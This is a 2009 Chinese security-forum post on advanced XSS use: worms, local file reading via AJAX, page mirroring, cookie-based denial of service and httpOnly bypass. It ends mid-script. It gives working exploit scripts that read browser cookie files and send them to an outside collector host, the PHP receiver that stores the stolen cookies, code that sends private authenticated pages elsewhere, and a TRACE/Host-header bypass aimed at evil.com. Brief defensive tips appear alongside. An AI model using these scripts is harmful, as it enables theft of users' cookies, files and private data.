XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
: P/ w+ }1 ?$ n8 g! X+ y) W$ S本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

! t8 z; B2 |+ O( r" j! Y# N) D

& F; M4 O  d/ S- ?, \-------------------------------------------前言---------------------------------------------------------

; x: B. W0 w2 F2 T, h) d' r
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
1 N! M" c' |+ {
) V: A) e' c  O- y& g
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
: e" a0 }+ ^% bhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
: ?5 m' _+ g8 ?. v, Qhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
% C: S1 x: t0 g1 j! {) Q( Hhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

* C8 O; ~: _  O1 b  Q- H% U
, b' Q9 A6 n) w8 j) ?
. F- g: s& J$ M( J, d7 B6 J* l4 ^
8 {1 F0 b) G8 T如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
. l3 U- i% U  {! ~1 ?0 B2 a
; ^; z% S8 _* c/ {: x) R) C: O' ?希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

" y" @: A! l4 O, D如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
  B# R# U' U" B" }: n
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
5 K- p! m; u, P
! W' h9 S+ {% ]! |QQ ZONE,校内网XSS     感染过万QQ ZONE.

3 D  G3 H% D+ a% EOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
! W9 I, o7 R" a
..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

) ^6 n* [6 B3 M: J
) L4 e! ]8 S+ [: C2 u4 r
# V% b; |& f" ^; ?跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
; i8 ]; ?3 a' n% A$ g. @( u
. @" G# H) o( W" u" b
2 Q$ Q& H0 |5 _
& U: Z1 k% F) S0 z如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
& C7 t/ f$ W& ?( t复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
/ f6 P$ z% u  ~. n! X; r我们在这里重点探讨以下几个问题:

) {# }5 Z# i$ q: J! G1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
( x% g. h4 j" h7 Q% d* t
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
. {" X2 h# z" E$ o/ W
" c5 `5 v+ e6 R3 r4        XSS漏洞在输出和输入两个方面怎么才能避免.
( I3 g; ?! H# ~; h- t; G$ [
. Z* I, @/ M4 d7 M- u8 v& `

------------------------------------------研究正题----------------------------------------------------------
- R9 x7 t) w5 `" L4 n5 F; g
' w: g2 _! ]4 ~  v
6 |- I4 ~& y' c3 G3 C9 A7 V
# H: `% o1 K9 J4 {+ h8 N6 v通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
) U! W4 T! n) d$ S8 U6 ^1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
! s0 I7 r7 o/ X1 q3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.




* K" p7 O# y" N- ]
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
3 v. i. v. y# {
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

0 s; W" S: b- u, v' q% N  a

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



7 r. ?. j  [' m9 }    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
3 E- o6 }: E: p0 j0 u复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}


- o6 L1 A' V) s$ o
8 q! F, K5 F8 X2 _  N' ~  T0 E# @( E    function ajax_obj(){

2 r* t7 J6 Z; t/ P    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
* s% E* O7 `  J
$ l# i* X+ P* g+ A9 E2 u9 `2 V    } else if(window.ActiveXObject) {

( M' y& m, i4 y/ F' c    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
% e& `' z4 O4 R: A! \
/ M2 p0 M; I- e+ _  Y5 N

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: v! C+ u0 o' T
( ]4 R" A0 p; g$ u) Z( T    for(var i=0; i<versions.length; i++) {
1 s0 k* K7 L! P
# {, B  L! r3 S, i3 f! Q* R/ F    try {
& @# K, K+ t4 }' g
    request = new ActiveXObject(versions);
2 Q5 v( k5 w2 B4 J* S
    } catch(e) {}
. w( M# ?8 I( \: Y* I8 ~: C
    }
$ d" {: `: Y5 ~
    }
! ]3 x( j& A% l
( X4 ^9 V! I* r, D8 }, [+ q1 p+ N    return request;

    }
% O1 Z1 B% p: T4 U8 u9 l, z% R
    var _x = ajax_obj();

    function _7or3(_m,action,argv){
& y0 B2 V4 u5 b
. w; j, p1 a6 g8 F; |9 u" y    _x.open(_m,action,false);

- m. P& i- U9 \( v: L0 x    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
, z. T! |- s  q
: r$ R! a$ @  D    _x.send(argv);
" G* S+ }& y# @9 U1 _0 N9 B
    return _x.responseText;
+ F# i3 r; e( L6 Z
% x& c: L2 r3 n; u9 A% z    }
8 D6 J! E7 U' k+ m; d% E1 x
; g4 [. B( x2 W% ~" S+ }+ a
9 v/ T( o2 p& D. l6 E1 X4 ]9 n
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
3 ?7 l% q0 g8 D- x0 @% n
    alert(txt);
7 m2 S, x" O/ V9 O6 z$ ~: X% {# J. W0 K
  w/ `4 M* W4 z

    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}
+ n, c  H& U5 O/ A  v


( Q; v2 ^1 ?1 v9 ^) H0 r# H    function ajax_obj(){

    var request = false;
; F5 M' `1 F. `' r9 v. x
8 E0 J. _1 d- T0 C* A# o# n7 Y0 f, O9 p    if(window.XMLHttpRequest) {

% A2 |! H+ o+ C% u# [    request = new XMLHttpRequest();
8 c. F; d8 B$ P/ W
, `- k3 ]2 B8 X- y    } else if(window.ActiveXObject) {
# ^% j2 v. O; y4 x' H% \# i# \
0 k5 r" o2 [  J3 i* x* h    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


' Z6 O/ y% j' ?' p1 ]' B& n
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

/ E- F6 e0 f% Q% v6 C    for(var i=0; i<versions.length; i++) {
# Z+ \  G( j) W3 P: H4 \9 p; \
    try {

, C& ^# J/ n$ r5 T  F1 |    request = new ActiveXObject(versions);
4 f- Y6 H/ ^0 _' ^) K) V
    } catch(e) {}
% _% t& A+ l9 o- R  ?5 A  V
    }

' O- O; D" L# |( ~+ ^& ]    }
" C( x$ u4 c0 p  F
: r/ M0 J! W2 u    return request;
) K, Z' d' v' R2 g0 g% Z  d
    }
- H2 ?# T  n4 |5 B
    var _x = ajax_obj();

2 N8 l. L' R% B+ A5 O- U    function _7or3(_m,action,argv){
5 J% W& b# V, v* I1 [+ q# s( J) p
' q3 a/ F4 K8 F" t# v    _x.open(_m,action,false);
$ S/ R- p8 z. e9 Q! R
7 O; Q  t% U$ L8 w    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
. k8 @6 K6 U; `8 @. D
* Z$ X  |, u8 l& C# l9 r6 ?+ ^7 Q    _x.send(argv);

    return _x.responseText;
5 S- U$ F  i( o( ^" O1 y
    }
4 i# ~3 Q8 l- B; u; f! f
, x& C$ q- u1 T4 C: c2 Z
- W) L( y* [5 p' p) t) g9 H4 V; L
    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
) o2 r' b* J# g/ K- k$ X

0 O: _" Y2 u9 z0 x
    </script>
6 A: f* f/ t3 i复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”


, D9 V3 k3 R+ L' _( M1 K* e9 v
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
7 a! |' I/ A5 u2 D


8 t9 S( \0 E$ ^& g, D2 g<?   

3 @+ y6 M  a4 i5 q% f' i/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
0 A5 u4 F- N  O# N
" u. V$ T, A6 @1 b& g/ ^+ d  D     www.inbreak.net   

' y- s6 }$ ]6 Q# s0 R" Y     author voidloafer@gmail.com 2009-4-22   
+ Q0 L3 S7 ~8 O1 D( C& E
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
2 C  _9 Q' W- z% A; h0 U$ P
*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

# T0 H( s4 A  ~+ e' U' V7 q0 ^. N% w$ y% aheader("Content-type: application/kxlzx");   
/ [& H* H' A# L
/*  
0 k* M, j+ K0 e
     set header, so just download html file,and open it at local.  
' ]( ^1 q- y$ g+ W6 D) ?
$ Q; L8 h1 g* |- s*/  

9 |! D. n0 o( B& |: V?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
& a7 z' n) v3 [
     <input id="input" name="cookie" value="" type="hidden">   

4 k" j' L* y: H( e9 E+ m+ k5 N' Y( u</form>   

<script>   
* b6 n& o3 A) G% f) K  C( [1 Z
function doMyAjax(user)   
  f* g; r& v% D! ^0 H( t
: i' g8 D' T7 j" c{   
; ?/ F+ N: v4 h  z9 F' x" f
' K% {" F, U; W; Kvar time = Math.random();   
5 y4 V2 x* ]/ K$ U8 [# s% R6 i
/*  
5 e9 @' i# E6 O6 G
, J# E5 T9 [& B/ h# Kthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
3 T- w" J: ]2 g  i
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
9 d$ |$ k+ E4 m& W3 k. m
1 E7 a/ U' v9 h7 T) @*/  
. u& ?* c+ L6 d1 w4 i) A! S
$ I. S1 ]8 Y: A7 i5 Q6 _! e: t8 wvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

startRequest(strPer);   
6 ?9 n6 z$ W$ s* u0 @( W' s, A
  E4 }5 }. G, |# F3 B7 y4 h

! x" P6 B$ M8 d' u; j}   
+ l' r. K3 J! h+ X. p: O" ?) P& O4 ^
   
/ T/ f0 n6 q& d) A1 p
; ?- Z& p7 A0 O- k1 `0 a# |4 `function Enshellcode(txt)   

% q8 ~3 u) ^- ]2 T, G: O{   

- c, y- h, Y5 H# v2 C: Lvar url=new String(txt);   
" B, d1 i# x3 L. `9 L% Z% ?* i
0 ~) S, s5 B9 @+ }' K- xvar i=0,l=0,k=0,curl="";   
( b# f6 x" C  a6 [" b& H
l= url.length;   

for(;i<l;i++){   
9 m+ Z# F' k( M3 L2 U
/ {" f# r8 @' i+ c! q  p3 Wk=url.charCodeAt(i);   
1 @9 ?7 U% N; i3 i7 p* a# P5 S
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
! ], D) B2 T, f1 o1 y5 G0 X6 D9 j
if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
$ Y! u& `7 c- k" p
! k, R. I5 K4 g6 L3 U  I& @) i: Ereturn curl;   
  r- k6 ?& o  c5 @; i" \- g
" T% Y4 q( A6 [- l# D& N" y}   
& R5 }$ O; p  l$ _' j- t% K8 Q
; ~9 A7 V' @% t+ i   
  f& U1 c- m% k, I$ Z& |0 N
8 K' W1 P# @4 u   

9 h, d6 i& t' Z; ?6 wvar xmlHttp;   

function createXMLHttp(){   
. D' F6 F3 n0 \2 W
+ M% P  K$ ^- l# _1 @     if(window.XMLHttpRequest){   
- ?; I3 n- n! {4 s
( [# z  _' d5 M: G8 t. OxmlHttp = new XMLHttpRequest();           

     }   

     else if(window.ActiveXObject){   
6 s8 A- Z5 l* a( d
! o% _  g- I# X  @8 exmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
- q) r" z: \( G1 ?- o( P; o; ?8 i0 c5 c
     }   
8 S5 n! a7 Q- n2 u
}   

/ _; z- O7 s' A% h   
% p6 q/ Q& z( v' }
% p! l+ Z6 R1 i% O! ~3 A; Cfunction startRequest(doUrl){   

. z1 _% o+ i9 U5 P8 C' @' |. n, S' e% U   

     createXMLHttp();   

8 U/ z( o4 n: r# ^) U- g6 ]/ O
. ^" v( O. f& O6 G: h
; m+ `; j" J' Q: h+ m     xmlHttp.onreadystatechange = handleStateChange;   
$ B* j* s/ X5 t
' h# R8 b' c% |- _& Z& f* X

; a0 L7 M! _& u     xmlHttp.open("GET", doUrl, true);   
- G# U& C4 M2 y
. u, @9 w4 y' {. b5 C
7 o5 l1 P  q2 L+ G: m3 M
     xmlHttp.send(null);   
8 R2 m" H8 i1 o' a

: ?# f- K" D0 x
9 x% C" ~( x8 \: @* N4 X! h3 ~
$ }/ ^8 f* ], x
" s6 t/ }/ T7 t0 L3 Z+ r}   
9 b( }. {4 s2 Y1 A# u
   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

0 z. c9 h! j5 c4 ]+ O1 J     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

& D9 Q4 u+ Z" N- r+ o" j+ y        

  g7 M. A( b$ v$ h0 v     }   
0 l# C  e& v( u7 T/ {1 e' P
}   

   

   

function framekxlzxPost(text)   

4 u5 _9 v0 |. D{   
" R* @. D7 [2 r. n. T
     document.getElementById("input").value = Enshellcode(text);   

9 Q' B9 `' d* _     document.getElementById("form").submit();   
% ]) B! n  a7 x# _5 \
. \6 C* V4 N. Z8 ?9 o) d8 c}   
( r% x9 J% `) Y9 v, E/ \/ q
1 g% e/ }! `' d% \3 v   

. d8 K" R4 [: vdoMyAjax("administrator");   

- V( T5 n# L# V3 q, @; @   
" t. e5 C  {4 L% x+ y2 D
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

0 Y& k4 @4 P! P% Q  lvar xmlHttp;  

& I0 r  y' Y+ m0 R* rfunction createXMLHttp(){  

  Y& _" Z1 ^% y     if(window.XMLHttpRequest){  

, U$ }* p: n+ }         xmlHttp = new XMLHttpRequest();         

     }  

. B0 l% b0 ?0 h" i: t     else if(window.ActiveXObject){  
/ e' ~: p8 S! k$ X0 t9 L) Q; m
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
! [. c% S! T4 s1 m
     }  
/ s& B7 P! f: U0 N; l( m0 W$ w. ^
}  
  ?8 Q) X' Y9 ~' R
' B. @) q$ S' K9 h' V2 w   

: s4 K- |0 {% p) `function startRequest(doUrl){  
2 J: I  I' T( V9 a# O
           

     createXMLHttp();  
- Z1 k' c+ O' h" A
      
9 a) d4 v. m# r6 T$ ~4 r
# T: [" u. n8 U  ^& c     xmlHttp.onreadystatechange = handleStateChange;  

+ d1 J3 S- q+ _; k8 h) [% B      

2 z& a1 x" k) G& ?6 ]     xmlHttp.open("GET", doUrl, true);  
) D" r3 l% v! J4 m
      

     xmlHttp.send(null);  
- R3 F7 w& n$ A6 d, b: [
      
" M6 d9 e; J2 G- {3 D- ]: ?
) I. l3 P  B$ b# r+ r      

  \/ X! L- j; E}   

2 ]' _  E; o% y7 k( G) d- [7 H4 e   

function handleStateChange(){  
9 _" R9 v5 M5 \9 U$ Y8 p3 p; W
     if (xmlHttp.readyState == 4 ){  
0 F9 {, s# t& @4 C7 v. Q7 n( o
2 s2 z1 ?. {1 f: m2 f' v( {             var strResponse = "";  

1 k5 \& R& R2 u( }             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

1 L) }. T8 p; m, l     }  
  a# p( d6 f9 y" k# |; ^
}  

7 Z& H$ C* y+ ]' z) t   

  I+ _0 I- G1 h3 R2 ?* J. Tfunction doMyAjax(user,file)  
* w+ Y  q  t, E9 z
{  

         var time = Math.random();  

           

; ]8 v: a# W5 m) X8 o9 ?' C5 e3 \! ~         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
/ A8 X/ b4 j/ ?& M
* H; G. a" q: k, t( ~% B( C         startRequest(strPer);  
8 B. P7 U9 H1 F& t2 @2 O: l
      

" z6 T% i( p' n/ H0 O}  

   

function framekxlzxPost(text)  
% _( w, o7 o- V) L
9 Z( ~& g7 S+ h{  
5 m0 s* N, D# {
5 f: d7 d6 V# H3 z, l0 g, m0 t     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
- I4 d. g3 W# P' S7 C3 d' t
! B- w! C1 B+ E; d1 K6 t6 ^}  

   

doMyAjax('administrator','administrator@alibaba[1].txt');  

: l3 ^' f2 S+ \/ g   

, v: G4 r0 i2 q# S% W$ N</script>
9 ]8 T, q3 K' D
8 Q- n) n( `+ q3 N8 c- T& ^3 S

- n" Y9 S$ {' S5 Y8 E4 }
$ k2 ]2 _7 ~/ E- A# l# w8 ]7 F
a.php
( J# r. T# {2 ~


<?php      
) U$ P. q  J. y: |- f) b+ p
+ w- ?5 i/ T9 F; y; T, Z: v9 n! R   
6 N$ f8 B' c  Q: \; P* d
8 O7 Y5 M1 |, c# ~2 Q) h( r% ]% ?$ D$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
3 H% O/ }# \, b3 G( H
" L3 L2 A3 `3 e$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

; |+ J2 @9 }+ D  a5 u3 F! A  
/ Q) m& N: v. S& Z( D0 R) t
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

, f1 J0 N! H' Q+ b1 Tfwrite($fp,$_GET["cookie"]);      

/ J6 X& q8 I: lfclose($fp);   

8 ?" T, X5 Q% x7 ?+ t?>
  v8 c2 g) B+ P0 c. N! s复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
* p9 W; ]0 v7 n9 t' _. }- L
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

8 F. C/ Z# e; I) M7 D代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
" [! K+ L  [! `% D  `0 z
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
% S+ C& n/ i4 a0 w
  p* q, ~8 p5 u( q, M2 x' _//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

% z: L0 F2 Y$ v$ Tvar image = new Image();
' V4 \8 s- @+ o. e7 s' w8 w7 ^7 k+ Q) ]! O
image.style.width = 0;

5 \/ T3 |* k! b5 M  M) m  [image.style.height = 0;
( J3 P; Y1 l% {, j6 n! P! s
image.src = s;
/ X; U. }. d7 D7 v7 g( d
}
/ a; i% I& P) E. M
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
" ~3 B; f* i% x' [7 I8 r复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
. i$ j- T1 [( t5 s5 s- t/ S# ?/ t
var metastr = "AAAAAAAAAA"; // 10 A

  y; h" w5 f9 F. E4 M# uvar str = "";
" }2 b- J) h' b
while (str.length < 4000){

9 y# \: O7 ]2 d' L    str += metastr;
; r) E  H4 q6 N9 r; `/ U
}


8 w' G( e: a; x' g# N9 C7 G
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
6 B3 s  U$ Y& o/ Q. o
* }' w2 j4 I" {5 f3 F- e</script>
# F, U8 h7 T' U: G" v4 x0 @- D
7 y" X; _: P5 C  d' Q详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
5 Y' B- j" E, S( {6 ~6 ^复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

5 M6 H5 J5 o5 w9 L/ a0 m  l/ X假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


# C5 d) W! K2 f; I6 }# }, a3 W6 ?7 z, J, p
, y0 s+ X# H; V8 K, p- ]
7 H0 ~- n3 M$ W# y: j- m) k. c

(III) Http only bypass 与 补救对策:
+ N& }/ E1 G% J5 s' h9 L% G
/ _7 }, m! g+ [什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
/ M6 l# h% e6 t
function normalCookie() {
, l% q* D' a3 b4 o
) o5 @, m* l0 T" f  T2 ndocument.cookie = "TheCookieName=CookieValue_httpOnly";
1 r) m: L# p& C8 F6 V
+ p5 T$ U1 r+ d, {alert(document.cookie);
6 R/ R7 @/ h' f4 o# Z7 \
9 I7 G, O4 g0 Q# t}


9 _3 L* [9 h  M8 j


# r0 s0 F9 s* [2 x2 k$ l' ffunction httpOnlyCookie() {
; x( G1 Q& L8 h+ q7 ~
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
3 F# S8 j/ v# o- z
5 [/ X3 G  v0 c, Z; K5 D: S0 Lalert(document.cookie);}



//-->
) C; R+ h5 Y% u& n7 |; f0 z
2 M/ C) o+ S" O3 T. v: ^4 n9 j</script>



<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
& ?8 v1 J3 }  _3 T3 J+ Y2 J
% Z  B1 Y) b3 Z) E8 C" e* \5 t+ s: n  ^<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
# \( {, @% O0 j! m% U9 [& F

" D" y6 i% O8 t8 `
2 \. S- {3 R! c& L& I9 [5 Y* cvar request = false;

        if(window.XMLHttpRequest) {

, {- T4 [. ]/ r# n8 ^# `0 ?$ A            request = new XMLHttpRequest();

3 x; z( S! _) H" f* s9 B. v            if(request.overrideMimeType) {
1 G% u/ [) s! Y) t9 S
                request.overrideMimeType('text/xml');

7 Y3 d! x8 d+ \% ^& O1 T            }

% a# }2 }( u6 r. O        } else if(window.ActiveXObject) {

: w5 x1 u6 E( l) `$ H            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

3 k3 w( G* X$ s6 U: g$ ^            for(var i=0; i<versions.length; i++) {

& @: V/ G  o- j) G& j: c                try {
( p6 B& P7 W" J
1 O' q3 a$ a% l! y- I$ F( p6 W                    request = new ActiveXObject(versions);
/ i- Y# `2 p( N+ @+ [9 U5 e
                } catch(e) {}

4 i# z/ U" u6 E" G            }

4 Q7 U0 a+ M' [6 M( j        }

xmlHttp=request;

8 o. s! y9 {: `" BxmlHttp.open("TRACE","http://www.vul.com",false);
) D2 \! t* r9 n# I. J
5 A; M& I$ B* x3 wxmlHttp.send(null);

xmlDoc=xmlHttp.responseText;
$ x' O- j- g, l7 }3 o
8 R, n* j, Y9 k7 v* z' x) p  @alert(xmlDoc);

6 ]$ P/ F& E2 X6 L0 [$ K</script>
: C# F4 _$ Y6 W: {) y复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
$ q/ [  C- ~$ b$ G" h
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
. |3 p+ `( P& L5 h' o! v) c
XmlHttp.open("GET","http://www.google.com",false);

' ~  _+ ?" j7 \0 _/ B& Z1 uXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

var resource=xmlHttp.responseText

( {$ z% p, s/ O' Iresource.search(/cookies/);

......................
5 \" r! T% @5 `  I  l( [% r  w
</script>


. U+ |% d+ Q9 C5 y9 L# N( |; u

9 p- p% H5 H, Z* V
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

9 m7 ~2 T! P2 d% q, R) }7 e[code]
; q9 r3 x$ s5 T, v0 F: q
+ p; X! u( u3 g% w( C4 t8 }, zRewriteEngine On

. h8 T# p3 R# }$ H9 w$ MRewriteCond %{REQUEST_METHOD} ^TRACE

/ z8 E9 B5 u4 w2 a6 }RewriteRule .* - [F]
! Y3 n2 k: {, ^9 q
; L/ f4 {* R1 k6 Y* Y
) P: ~) i$ Q" Z& @2 {0 D
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
7 k* }' X# E: U6 s2 l/ n# r3 @
2 Y( [# O: j3 n1 W" \- H. j# z1 S, ^acl TRACE method TRACE
5 X; s+ G% A& [% q# T; m
& ?# N; S" d# n, C! M. R3 u9 a! U...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
! E2 e! ~) t9 W3 [3 w
